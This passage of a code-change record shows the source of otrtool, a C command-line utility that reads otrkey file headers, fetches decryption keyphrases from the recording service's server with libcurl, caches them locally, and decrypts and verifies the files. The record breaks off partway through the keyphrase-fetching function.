\n  fputs(\"Decrypting and verifying...\\n\", stderr); // -----------------------\n  \n  void *key = hex2bin(keyphrase);\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"ecb\", NULL);\n  mcrypt_generic_init(blowfish, key, 28, NULL);\n  \n  unsigned long long length = atoll(queryGetParam(header, \"SZ\")) - 522;\n  unsigned long long position = 0;\n  size_t readsize;\n  size_t writesize;\n  static char buffer[65536];\n  vfy_t vfy_in, vfy_out;\n  \n  verifyFile_init(&vfy_in, 1);\n  verifyFile_init(&vfy_out, 0);\n  \n  while (position < length) {\n    showProgress(position, length);\n\n    if (length - position >= sizeof(buffer)) {\n      readsize = fread(buffer, 1, sizeof(buffer), file);\n    } else {\n      readsize = fread(buffer, 1, length - position, file);\n    }\n    if (readsize <= 0) {\n      if (feof(file))\n        ERROR(\"Input file is too short\");\n      PERROR(\"Error reading input file\");\n    }\n    \n    verifyFile_data(&vfy_in, buffer, readsize);\n    /* If the payload length is not a multiple of eight,\n     * the last few bytes are stored unencrypted */\n    mdecrypt_generic(blowfish, buffer, readsize - readsize % 8);\n    verifyFile_data(&vfy_out, buffer, readsize);\n    \n    writesize = fwrite(buffer, 1, readsize, destfile);\n    if (writesize != readsize)\n      PERROR(\"Error writing to destination file\");\n    \n    position += writesize;\n  }\n  showProgress(1, 0);\n\n  verifyFile_final(&vfy_in);\n  verifyFile_final(&vfy_out);\n  fputs(\"OK checksums from header match\\n\", stderr);\n  \n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  if (fclose(destfile) != 0)\n    PERROR(\"Error closing destination file.\");\n\n  if (opts.unlinkmode) {\n    if (strcmp(filename, \"-\") != 0 &&\n        stat(filename, &st) == 0 && S_ISREG(st.st_mode) &&\n        strcmp(destfilename, \"-\") != 0 &&\n        stat(destfilename, &st) == 0 && S_ISREG(st.st_mode)) {\n      if (unlink(filename) != 0)\n        PERROR(\"Cannot delete input file\");\n      else\n        fputs(\"info: input file has been deleted\\n\", stderr);\n    }\n    else {\n      fputs(\"Warning: Not deleting input file (input or \"\n          \"output is not a regular file)\\n\", stderr);\n    }\n  }\n  \n  free(key);\n  free(destfilename);\n}\n\nvoid processFile() {\n  int storeKeyphrase;\n  switch (opts.action) {\n    case ACTION_INFO:\n      // TODO: output something nicer than just the querystring\n      dumpQuerystring(header);\n      break;\n    case ACTION_FETCHKEY:\n      fetchKeyphrase();\n      break;\n    case ACTION_DECRYPT:\n      storeKeyphrase = 1;\n      if (opts.keyphrase == NULL) {\n        storeKeyphrase = 0;\n        keyphrase = keycache_get(queryGetParam(header, \"FH\"));\n        if (keyphrase)\n          fprintf(stderr, \"Keyphrase from cache: %s\\n\", keyphrase);\n        else\n          fetchKeyphrase();\n      }\n      else {\n        keyphrase = strdup(opts.keyphrase);\n      }\n      decryptFile();\n      if (storeKeyphrase)\n        keycache_put(queryGetParam(header, \"FH\"), keyphrase);\n      break;\n    case ACTION_VERIFY:\n      verifyOnly();\n      break;\n  }\n}\n\nvoid usageError() {\n  fputs(\"\\n\"\n    \"Usage: otrtool [-h] [-v] [-i|-f|-x|-y] [-u]\\n\"\n    \"               [-k <keyphrase>] [-e <email>] [-p <password>]\\n\"\n    \"               [-D <destfolder>] [-O <destfile>]\\n\"\n    \"               <otrkey-file1> [<otrkey-file2> ... [<otrkey-fileN>]]\\n\"\n    \"\\n\"\n    \"MODES OF OPERATION\\n\"\n    \"  -i | Display information about file (default action)\\n\"\n    \"  -f | Fetch keyphrase for file\\n\"\n    \"  -x | Decrypt file\\n\"\n    \"  -y | Verify only\\n\"\n    \"\\n\"\n    \"FREQUENTLY USED OPTIONS\\n\"\n    \"  -k | Do not fetch keyphrase, use this one\\n\"\n    \"  -D | Output folder\\n\"\n    \"  -O | Output file (overrides -D)\\n\"\n    \"  -u | Delete otrkey-files after successful decryption\\n\"\n    \"\\n\"\n    \"See otrtool(1) for further information\\n\", stderr);\n}\n\nint main(int argc, char *argv[]) {\n  fputs(\"OTR-Tool, \" VERSION \"\\n\", stderr);\n\n  int i;\n  int opt;\n  while ( (opt = getopt(argc, argv, \"hvgifxyk:e:p:D:O:u\")) != -1) {\n    switch (opt) {\n      case 'h':\n        usageError();\n        exit(EXIT_SUCCESS);\n        break;\n      case 'v':\n        opts.verbosity = VERB_DEBUG;\n        break;\n      case 'g':\n        opts.guimode = 1;\n        interactive = 0;\n        break;\n      case 'i':\n        opts.action = ACTION_INFO;\n        break;\n      case 'f':\n        opts.action = ACTION_FETCHKEY;\n        break;\n      case 'x':\n        opts.action = ACTION_DECRYPT;\n        break;\n      case 'y':\n        opts.action = ACTION_VERIFY;\n        break;\n      case 'k':\n        opts.keyphrase = optarg;\n        break;\n      case 'e':\n        opts.email = strdup(optarg);\n        memset(optarg, 'x', strlen(optarg));\n        break;\n      case 'p':\n        opts.password = strdup(optarg);\n        memset(optarg, 'x', strlen(optarg));\n        break;\n      case 'D':\n        opts.destdir = optarg;\n        break;\n      case 'O':\n        opts.destfile = optarg;\n        break;\n      case 'u':\n        opts.unlinkmode = 1;\n        break;\n      default:\n        usageError();\n        exit(EXIT_FAILURE);\n    }\n  }\n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"command line: \", stderr);\n    for (i = 0; i < argc; ++i) {\n      fputs(argv[i], stderr);\n      fputc((i == argc - 1) ? '\\n' : ' ', stderr);\n    }\n  }\n  \n  if (optind >= argc) {\n    fprintf(stderr, \"Missing argument: otrkey-file\\n\");\n    usageError();\n    exit(EXIT_FAILURE);\n  }\n  if (argc > optind + 1) {\n    if (opts.destfile != NULL && strcmp(opts.destfile, \"-\") == 0) {\n      i = 0;\n    }\n    else for (i = optind; i < argc; i++) {\n      if (strcmp(argv[i], \"-\") == 0)\n        break;\n    }\n    if (i < argc)\n      ERROR(\"Usage error: piping is not possible with multiple input files\");\n  }\n\n  if (!isatty(2)) {\n    logfilemode = 1;\n    interactive = 0;\n  }\n  if (interactive) {\n    if (!isatty(0)) {\n      ttyfile = fopen(\"/dev/tty\", \"r\");\n      if (ttyfile == NULL) {\n        if (opts.verbosity >= VERB_DEBUG) perror(\"open /dev/tty\");\n        interactive = 0;\n      }\n    }\n    else ttyfile = stdin;\n  }\n\n  if (opts.action == ACTION_DECRYPT || opts.action == ACTION_VERIFY) {\n    errno = 0;\n    nice(10);\n    if (errno == 0 && opts.verbosity >= VERB_DEBUG)\n      fputs(\"NICE was set to 10\\n\", stderr);\n\n    // I am not sure if this really catches all errors\n    // If this causes problems, just delete the ionice-stuff\n    #ifdef __NR_ioprio_set\n      if (syscall(__NR_ioprio_set, 1, getpid(), 7 | 3 << 13) == 0\n           && opts.verbosity >= VERB_DEBUG)\n        fputs(\"IONICE class was set to Idle\\n\", stderr);\n    #endif\n  }\n  if (opts.action == ACTION_FETCHKEY || opts.action == ACTION_DECRYPT) {\n    keycache_open();\n  }\n\n  for (i = optind; i < argc; i++) {\n    filename = argv[i];\n    if (argc > optind + 1)\n      fprintf(stderr, \"\\n==> %s <==\\n\", filename);\n    openFile();\n    processFile();\n    if (fclose(file) != 0)\n      PERROR(\"Error closing file\");\n    free(header);\n  }\n  \n  exit(EXIT_SUCCESS);\n}\n"}, "files_after": {"src/main.c": "#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <strings.h>\n#include <unistd.h>\n#include <termios.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <sys/syscall.h>\n\n#include <time.h>\n\n#include <mcrypt.h>\n#include \"md5.h\"\n\n#include <curl/curl.h>\n#include <curl/easy.h>\n\n#define ERROR(...) \\\n  ({fprintf(stderr, \"\\n\"); \\\n    fprintf(stderr, __VA_ARGS__); \\\n    fprintf(stderr, \"\\n\"); \\\n    exit(EXIT_FAILURE); })\n\n#define PERROR(...) \\\n  ({fprintf(stderr, \"\\n\"); \\\n    fprintf(stderr, __VA_ARGS__); \\\n    fprintf(stderr, \": \"); \\\n    perror(NULL); \\\n    exit(EXIT_FAILURE); })\n\n#define MIN(a,b) ((a)<(b)?(a):(b))\n\n#ifndef VERSION\n  #define VERSION \"version unknown\"\n#endif\n\n#define LINE_LENGTH 80\n#define MAX_RESPONSE_LENGTH 1000\n#define CREAT_MODE S_IWUSR|S_IRUSR|S_IRGRP|S_IROTH\n\n#define VERB_INFO  1\n#define VERB_DEBUG 2\n\n#define ACTION_INFO       1\n#define ACTION_FETCHKEY   2\n#define ACTION_DECRYPT    3\n#define ACTION_VERIFY     4\n\n/* global options as supplied by the user via command-line etc. */\nstruct otrtool_options {\n  int action;\n  int verbosity;\n  int guimode; // do not output \\r and stuff\n  int unlinkmode;\n  char *email;\n  char *password;\n  char *keyphrase;\n  char *destdir;\n  char *destfile;\n};\nstatic struct otrtool_options opts = {\n  .action = ACTION_INFO,\n  .verbosity = VERB_INFO,\n  .guimode = 0,\n  .unlinkmode = 0,\n  .email = NULL,\n  .password = NULL,\n  .keyphrase = NULL,\n  .destdir = NULL,\n  .destfile = NULL,\n};\n\nstatic int interactive = 1; // ask questions instead of exiting\nstatic int logfilemode = 0; // do not output progress bar\n\nstatic char *email = NULL;\nstatic char *password = NULL;\nstatic char *keyphrase = NULL;\nstatic char *filename = NULL;\nstatic char *destfilename = NULL;\n\nstatic FILE *file = NULL;\nstatic FILE *keyfile = NULL;\nstatic FILE *ttyfile = NULL;\nstatic char *header = NULL;\nstatic char *info = NULL;\n\n// ######################## curl-stuff #######################\n\nstruct MemoryStruct {\n  char *memory;\n  size_t size;\n};\n\nstatic size_t WriteMemoryCallback(void *ptr, size_t size,\n          size_t nmemb, void *data) {\n  size_t realsize = size * nmemb;\n  struct MemoryStruct *mem = (struct MemoryStruct *)data;\n  char *newmem;\n  \n  // abort very long transfers\n  if (mem->size + realsize > MAX_RESPONSE_LENGTH) {\n    realsize = mem->size <= MAX_RESPONSE_LENGTH\n        ? MAX_RESPONSE_LENGTH - mem->size\n        : 0;\n  }\n  if (realsize < 1) return 0;\n  \n  // \"If realloc() fails the original block is left untouched\" (man 3 realloc)\n  newmem = realloc(mem->memory, mem->size + realsize);\n  if (newmem != NULL) {\n    mem->memory = newmem;\n    memcpy(&(mem->memory[mem->size]), ptr, realsize);\n    mem->size += realsize;\n  } else return 0;\n  return realsize;\n}\n\n// ######################## generic functions ####################\n\nchar * bin2hex(void *data_, int len) {\n  unsigned char *data = data_;\n  unsigned char *result = malloc(sizeof(char) * len * 2 + 1);\n  result[len * 2] = 0;\n  int foo;\n  for (len-- ; len >= 0 ; len--) {\n    foo = data[len] % 16;\n    result[len*2 + 1] = foo > 9 ? 0x37 + foo : 0x30 + foo;\n    foo = data[len] >> 4;\n    result[len*2] = foo > 9 ? 0x37 + foo : 0x30 + foo;\n  }\n  return (char*)result;\n}\n\nvoid * hex2bin(char *data_) {\n  int len = strlen(data_) / 2;\n  unsigned char *data = (unsigned char*)data_;\n  // never tested with lowercase letters!\n  unsigned char *result = malloc(sizeof(char) * len + 1);\n  int foo, bar;\n  result[len] = 0;\n  for (len-- ; len >= 0 ; len--) {\n    foo = data[len*2];\n    if (foo < 0x41) {\n      // is a digit\n      bar = foo - 0x30;\n    } else if (foo < 0x61) {\n      // is a uppercase letter\n      bar = foo - 0x37;\n    } else {\n      // is a lowercase letter\n      bar = foo - 0x57;\n    }\n    result[len] = bar << 4;\n    \n    foo = data[len*2 + 1];\n    if (foo < 0x41) {\n      // is a digit\n      bar = foo - 0x30;\n    } else if (foo < 0x61) {\n      // is a uppercase letter\n      bar = foo - 0x37;\n    } else {\n      // is a lowercase letter\n      bar = foo - 0x57;\n    }\n    result[len] += bar;\n  }\n  return (void*)result;\n}\n\n// C does not support binary constants, but gcc >= 4.3 does.\n// Because we can't really expect people to update their compilers in four\n// years (4.3 is from march 2008), the following defines will substitute\n// the three values used by base64Encode with their decimal equivalent.\n#define B_11 3\n#define B_1111 15\n#define B_111111 63\nchar * base64Encode(void *data_, int len) {\n  unsigned char *data = data_;\n  static const char *b64 = \"\\\nABCDEFGHIJKLMNOPQRSTUVWXYZ\\\nabcdefghijklmnopqrstuvwxyz\\\n0123456789+/\";\n  int blocks = (len + 2) / 3;\n  int newlen = blocks * 4 + 1;\n  char *result = malloc(newlen);\n  char *resptr = result;\n  int i;\n  \n  for (i = len / 3 ; i > 0 ; i--) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4\n                    | data[1]             >> 4 ];\n    resptr[2] = b64[ (data[1] &   B_1111) << 2\n                    | data[2]             >> 6 ];\n    resptr[3] = b64[  data[2] & B_111111       ];\n    resptr += 4;\n    data += 3;\n  }\n  \n  if (len < blocks * 3 - 1) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4 ];\n    resptr[2] = '=';\n    resptr[3] = '=';\n    resptr += 4;\n  } else if (len < blocks * 3) {\n    resptr[0] = b64[  data[0]             >> 2 ];\n    resptr[1] = b64[ (data[0] &     B_11) << 4\n                    | data[1]             >> 4 ];\n    resptr[2] = b64[ (data[1] &   B_1111) << 2 ];\n    resptr[3] = '=';\n    resptr += 4;\n  }\n  \n  *resptr = 0;\n  return result;\n}\n\nvoid * base64Decode(char *text, int *outlen) {\n  static const unsigned char b64dec[] = {\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //00\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //10\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0, 62,  0,  0,  0, 63, //20\n  52, 53, 54, 55, 56, 57, 58, 59,  60, 61,  0,  0,  0,  0,  0,  0, //30\n   0,  0,  1,  2,  3,  4,  5,  6,   7,  8,  9, 10, 11, 12, 13, 14, //40\n  15, 16, 17, 18, 19, 20, 21, 22,  23, 24, 25,  0,  0,  0,  0,  0, //50\n   0, 26, 27, 28, 29, 30, 31, 32,  33, 34, 35, 36, 37, 38, 39, 40, //60\n  41, 42, 43, 44, 45, 46, 47, 48,  49, 50, 51,  0,  0,  0,  0,  0, //70\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //80\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //90\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //a0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //b0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //c0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //d0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0, //e0\n   0,  0,  0,  0,  0,  0,  0,  0,   0,  0,  0,  0,  0,  0,  0,  0  //f0\n  };\n  // this functions treats invalid characters as 'A'. deal with it :-P\n  int inlen = (strlen(text) >> 2) << 2;\n  int blocks = inlen >> 2;\n  *outlen = blocks * 3 - (text[inlen-2] == '='\n      ? 2 : (text[inlen-1] == '=' ? 1 : 0));\n  char *result = malloc(blocks * 3);\n  char *resptr = result;\n  u_int8_t *text_ = (u_int8_t*)text;\n  int i;\n  \n  for (i = 0 ; i < blocks ; i++) {\n    resptr[0] = b64dec[text_[0]] << 2 | b64dec[text_[1]] >> 4;\n    resptr[1] = b64dec[text_[1]] << 4 | b64dec[text_[2]] >> 2;\n    resptr[2] = b64dec[text_[2]] << 6 | b64dec[text_[3]];\n    \n    text_ += 4;\n    resptr += 3;\n  }\n  \n  return (void*)result;\n}\n\nint isBase64(char *text) {\n  static const char *b64 = \"\\\nABCDEFGHIJKLMNOPQRSTUVWXYZ\\\nabcdefghijklmnopqrstuvwxyz\\\n0123456789+/=\";\n  return strlen(text) == strspn(text, b64);\n}\n\nchar * queryGetParam(char *query, char *name) {\n  char *begin = index(query, '&');\n  char *end;\n  int nameLen = strlen(name);\n  \n  while (begin != NULL) {\n    begin++;\n    if (strncmp(begin, name, nameLen) == 0 && begin[nameLen] == '=') {\n      begin += nameLen + 1;\n      end = index(begin, '&');\n      if (end == NULL)\n        end = begin + strlen(begin);\n      char *result = malloc(end - begin + 1);\n      strncpy(result, begin, end - begin);\n      result[end - begin] = 0;\n      return result;\n    }\n    begin = index(begin, '&');\n  }\n  return NULL;\n}\n\nvoid quote(char *message) {\n  char line[LINE_LENGTH + 1];\n  line[0] = '>';\n  line[1] = ' ';\n  int index = 2;\n  \n  while (*message != 0) {\n    if (*message < 0x20 || *message > 0x7E) {\n      line[index++] = ' ';\n    } else {\n      line[index++] = *message;\n    }\n    if (index == LINE_LENGTH) {\n      line[index++] = '\\n';\n      fwrite(line, index, 1, stderr);\n      line[0] = '>';\n      line[1] = ' ';\n      index = 2;\n    }\n    message++;\n  }\n  line[index++] = '\\n';\n  if (index != 3) fwrite(line, index, 1, stderr);\n}\n\nvoid dumpQuerystring(char *query) {\n  int length = strlen(query);\n  char line[LINE_LENGTH + 1];\n  int index = 0;\n  \n  if (*query == '&') {\n    line[0] = '&';\n    index++;\n    query++;\n  }\n  \n  for (; length > 0 ; length --) {\n    if (*query == '&') {\n      line[index] = '\\n';\n      fwrite(line, index + 1, 1, stderr);\n      index = 0;\n    }\n    line[index] = *query;\n    \n    index++;\n    if (index == LINE_LENGTH) {\n      line[index] = '\\n';\n      fwrite(line, index + 1, 1, stderr);\n      line[0] = ' ';\n      index = 1;\n    }\n    query++;\n  }\n  line[index] = '\\n';\n  if (index != LINE_LENGTH) fwrite(line, index + 1, 1, stderr);\n}\n\nvoid dumpHex(void *data_, int len) {\n  unsigned char *data = data_;\n  unsigned char *line = malloc(sizeof(char) * LINE_LENGTH + 1);\n  char *hexrep_orig = bin2hex(data, len);\n  char *hexrep = hexrep_orig;\n  int i, pos;\n  \n  for (pos = 0 ; pos < len ; pos += 16) {\n    for (i = 0 ; i < 8 ; i++) {\n      line[i*3]   = pos+i < len ? hexrep[i*2] : ' ';\n      line[i*3+1] = pos+i < len ? hexrep[i*2+1] : ' ';\n      line[i*3+2] = ' ';\n    }\n    line[24] = ' ';\n    for (i = 8 ; i < 16 ; i++) {\n      line[i*3+1] = pos+i < len ? hexrep[i*2] : ' ';\n      line[i*3+2] = pos+i < len ? hexrep[i*2+1] : ' ';\n      line[i*3+3] = ' ';\n    }\n    line[49] = ' ';\n    line[50] = '|';\n    for (i = 0 ; i < 16 ; i++) {\n      if (data[pos+i] >= 0x20 && data[pos+i] < 0x7f) {\n        line[51+i] = pos+i < len ? data[pos+i] : ' ';\n      } else {\n        line[51+i] = pos+i < len ? '.' : ' ';\n      }\n    }\n    line[67] = '|';\n    \n    line[68] = 0;\n    fprintf(stderr, \"%08x  %s\\n\", pos, line);\n    hexrep += 32;\n  }\n  fprintf(stderr, \"%08x\\n\", len);\n  free(line);\n  free(hexrep_orig);\n}\n\n/* special case length=0 means 'finished' */\nvoid showProgress(long long position, long long length) {\n  static long long oldpos = 0;\n  static unsigned int blocknum = 0;\n  const char progressbar[41] = \"========================================\";\n  const char *rotatingFoo = \"|/-\\\\\";\n\n  if (logfilemode)\n    return;\n  if (length > 0) {\n    if (oldpos > position) {\n      oldpos = 0;\n      blocknum = 0;\n    }\n    if (position - oldpos >= 2097152 || position == 0) {\n      if (opts.guimode == 0) {\n        fprintf(stderr, \"[%-40.*s] %3i%% %c\\r\", (int)(position*40/length),\n            progressbar, (int)(position*100/length),\n            rotatingFoo[blocknum++ % 4]);\n      } else {\n        fprintf(stderr, \"gui> %3i\\n\", (int)(position*100/length));\n      }\n      fflush(stderr);\n      oldpos = position;\n    }\n  } else {\n    if (opts.guimode == 0) {\n      fputs(\"[========================================] 100%    \\n\", stderr);\n    } else {\n      fputs(\"gui> Finished\\n\", stderr);\n    }\n    oldpos = 0;\n    blocknum = 0;\n  }\n}\n\n// ###################### special functions ####################\n\nchar * getHeader() {\n  unsigned char *header = malloc(sizeof(char) * 513);\n  if (fread(header, 512, 1, file) < 1 && !feof(file))\n    PERROR(\"Error reading file\");\n  if (feof(file))\n    ERROR(\"Error: unexpected end of file\");\n  MCRYPT blowfish;\n  blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"ecb\", NULL);\n  unsigned char hardKey[] = {\n      0xEF, 0x3A, 0xB2, 0x9C, 0xD1, 0x9F, 0x0C, 0xAC,\n      0x57, 0x59, 0xC7, 0xAB, 0xD1, 0x2C, 0xC9, 0x2B,\n      0xA3, 0xFE, 0x0A, 0xFE, 0xBF, 0x96, 0x0D, 0x63,\n      0xFE, 0xBD, 0x0F, 0x45};\n  mcrypt_generic_init(blowfish, hardKey, 28, NULL);\n  mdecrypt_generic(blowfish, header, 512);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  header[512] = 0;\n  \n  char *padding = strstr((char*)header, \"&PD=\");\n  if (padding == NULL)\n    ERROR(\"Corrupted header: could not find padding\");\n  *padding = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nDumping decrypted header:\\n\", stderr);\n    dumpQuerystring((char*)header);\n    fputs(\"\\n\", stderr);\n  }\n  return (char*)header;\n}\n\nvoid * generateBigkey(char *date) {\n  char *mailhash = bin2hex(MD5(\n      (unsigned char*)email, strlen(email), NULL), 16);\n  char *passhash = bin2hex(MD5(\n      (unsigned char*)password, strlen(password), NULL), 16);\n  char *bigkey_hex = malloc(57 * sizeof(char));\n  char *ptr = bigkey_hex;\n  \n  strncpy(ptr, mailhash, 13);\n  ptr += 13;\n  \n  strncpy(ptr, date, 4);\n  date += 4;\n  ptr += 4;\n  \n  strncpy(ptr, passhash, 11);\n  ptr += 11;\n  \n  strncpy(ptr, date, 2);\n  date += 2;\n  ptr += 2;\n  \n  strncpy(ptr, mailhash + 21, 11);\n  ptr += 11;\n  \n  strncpy(ptr, date, 2);\n  ptr += 2;\n  \n  strncpy(ptr, passhash + 19, 13);\n  ptr += 13;\n  \n  *ptr = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fprintf(stderr, \"\\nGenerated BigKey: %s\\n\\n\", bigkey_hex);\n  }\n  \n  void *res = hex2bin(bigkey_hex);\n  \n  free(bigkey_hex);\n  free(mailhash);\n  free(passhash);\n  return res;\n}\n\nchar * generateRequest(void *bigkey, char *date) {\n  char *headerFN = queryGetParam(header, \"FN\");\n  char *thatohthing = queryGetParam(header, \"OH\");\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"cbc\", NULL);\n  char *iv = malloc(mcrypt_enc_get_iv_size(blowfish));\n  char *code = malloc(513);\n  char *dump = malloc(513);\n  char *result = malloc(1024); // base64-encoded code is 680 bytes\n  \n  memset(iv, 0x42, mcrypt_enc_get_iv_size(blowfish));\n  memset(dump, 'd', 512);\n  dump[512] = 0;\n  \n  snprintf(code, 513, \"FOOOOBAR\\\n&OS=01677e4c0ae5468b9b8b823487f14524\\\n&M=01677e4c0ae5468b9b8b823487f14524\\\n&LN=DE\\\n&VN=1.4.1132\\\n&IR=TRUE\\\n&IK=aFzW1tL7nP9vXd8yUfB5kLoSyATQ\\\n&FN=%s\\\n&OH=%s\\\n&A=%s\\\n&P=%s\\\n&D=%s\", headerFN, thatohthing, email, password, dump);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nGenerated request-'code':\\n\", stderr);\n    dumpQuerystring(code);\n    fputs(\"\\n\", stderr);\n  }\n  \n  mcrypt_generic_init(blowfish, bigkey, 28, iv);\n  mcrypt_generic(blowfish, code, 512);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nEncrypted request-'code':\\n\", stderr);\n    dumpHex(code, 512);\n    fputs(\"\\n\", stderr);\n  }\n  \n  snprintf(result, 1024, \"http://87.236.198.182/quelle_neu1.php\\\n?code=%s\\\n&AA=%s\\\n&ZZ=%s\", base64Encode(code, 512), email, date);\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fprintf(stderr, \"\\nRequest:\\n%s\\n\\n\", result);\n  }\n  \n  free(code);\n  free(dump);\n  free(iv);\n  free(headerFN);\n  free(thatohthing);\n  return result;\n}\n\nstruct MemoryStruct * contactServer(char *request) {\n  // http://curl.haxx.se/libcurl/c/getinmemory.html\n  CURL *curl_handle;\n  char errorstr[CURL_ERROR_SIZE];\n  \n  struct MemoryStruct *chunk = malloc(sizeof(struct MemoryStruct));\n  chunk->memory=NULL; /* we expect realloc(NULL, size) to work */ \n  chunk->size = 0;    /* no data at this point */ \n  \n  curl_global_init(CURL_GLOBAL_ALL);\n  \n  /* init the curl session */ \n  curl_handle = curl_easy_init();\n  \n  /* specify URL to get */ \n  curl_easy_setopt(curl_handle, CURLOPT_URL, request);\n  \n  /* send all data to this function  */ \n  curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);\n  \n  /* we pass our 'chunk' struct to the callback function */ \n  curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)chunk);\n  \n  /* imitate the original OTR client */ \n  curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, \"Linux-OTR-Decoder/0.4.592\");\n  curl_easy_setopt(curl_handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);\n  \n  /* set verbosity and error message buffer */\n  if (opts.verbosity >= VERB_DEBUG)\n    curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);\n  curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, errorstr);\n  \n  /* get it! */ \n  if (curl_easy_perform(curl_handle) != 0)\n    ERROR(\"cURL error: %s\", errorstr);\n  \n  /* cleanup curl stuff */ \n  curl_easy_cleanup(curl_handle);\n  \n  /*\n   * Now, our chunk.memory points to a memory block that is chunk.size\n   * bytes big and contains the remote file.\n   *\n   * Do something nice with it!\n   *\n   * You should be aware of the fact that at this point we might have an\n   * allocated data block, and nothing has yet deallocated that data. So when\n   * you're done with it, you should free() it as a nice application.\n   */ \n  \n  /* we're done with libcurl, so clean it up */ \n  curl_global_cleanup();\n  \n  // null-terminate response\n  chunk->memory = realloc(chunk->memory, chunk->size + 1);\n  if (chunk->memory == NULL) PERROR(\"realloc\");\n  chunk->memory[chunk->size] = 0;\n  return chunk;\n}\n\nchar * decryptResponse(char *response, int length, void *bigkey) {\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"cbc\", NULL);\n  \n  if (length < mcrypt_enc_get_iv_size(blowfish) || length < 8)\n    return NULL;\n  length -= 8;\n  \n  char *result = malloc(length);\n  memcpy(result, response+8, length);\n  \n  mcrypt_generic_init(blowfish, bigkey, 28, response);\n  mdecrypt_generic(blowfish, result, length);\n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  char *padding = strstr(result, \"&D=\");\n  if (padding == NULL)\n    ERROR(\"Corrupted response: could not find padding\");\n  *padding = 0;\n  \n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"\\nDecrypted response:\\n\", stderr);\n    dumpQuerystring(result);\n    fputs(\"\\n\", stderr);\n  }\n  \n  return result;\n}\n\nvoid keycache_open() {\n  char *home, *keyfilename;\n  \n  if ((home = getenv(\"HOME\")) == NULL) return;\n  keyfilename = malloc(strlen(home) + 20);\n  strcpy(keyfilename, home);\n  strcat(keyfilename, \"/.otrkey_cache\");\n  keyfile = fopen(keyfilename, \"a+\");\n  free(keyfilename);\n}\n\nchar *keycache_get(const char *fh) {\n  char *cachephrase, *cachefh;\n  static char line[512];\n  \n  if (fh == NULL || keyfile == NULL) return NULL;\n  rewind(keyfile);\n  while (fgets(line, sizeof(line), keyfile) != NULL) {\n    cachefh = strtok(line, \" \\t\\r\\n\");\n    cachephrase = strtok(NULL, \" \\t\\r\\n\");\n    if (cachephrase == NULL || cachefh == NULL) continue;\n    if (strcmp(cachefh, fh) == 0) return cachephrase;\n  }\n  if (!feof(keyfile)) PERROR(\"fgets\");\n  return NULL;\n}\n\nvoid keycache_put(const char *fh, const char *keyphrase) {\n  char *cachephrase, *fn;\n  \n  if (fh == NULL || keyfile == NULL) return;\n  if ((cachephrase = keycache_get(fh)) != NULL) {\n    if (strcmp(keyphrase, cachephrase) != 0)\n      fputs(\"warning: differing keyphrase was found in cache file!\\n\", stderr);\n    else\n      fputs(\"info: keyphrase was already in cache\\n\", stderr);\n    return;\n  }\n  fn = queryGetParam(header, \"FN\");\n  if (fprintf(keyfile, \"%s\\t%s\\t# %s\\n\", fh, keyphrase, fn) < 0)\n    PERROR(\"fprintf\");\n  fflush(keyfile);\n  fputs(\"info: saved keyphrase to ~/.otrkey_cache\\n\", stderr);\n}\n\nvoid fetchKeyphrase() {\n  struct termios ios0, ios1;\n  time_t time_ = time(NULL);\n  char *date = malloc(9);\n  strftime(date, 9, \"%Y%m%d\", gmtime(&time_));\n  \n  if (info) {\n    free(info);\n    info = NULL;\n  }\n  \n  if (opts.email == NULL) {\n    if (!interactive) ERROR(\"Email address not specified\");\n    opts.email = malloc(51);\n    fputs(\"Enter your eMail-address: \", stderr);\n    if (fscanf(ttyfile, \"%50s\", opts.email) < 1)\n      ERROR(\"Email invalid\");\n    while (fgetc(ttyfile) != '\\n');\n  }\n  email = strdup(opts.email);\n\n  if (opts.password == NULL) {\n    if (!interactive) ERROR(\"Password not specified\");\n    opts.password = malloc(51);\n    fputs(\"Enter your password: \", stderr);\n    tcgetattr(fileno(ttyfile), &ios0);\n    ios1 = ios0;\n    ios1.c_lflag &= ~ECHO;\n    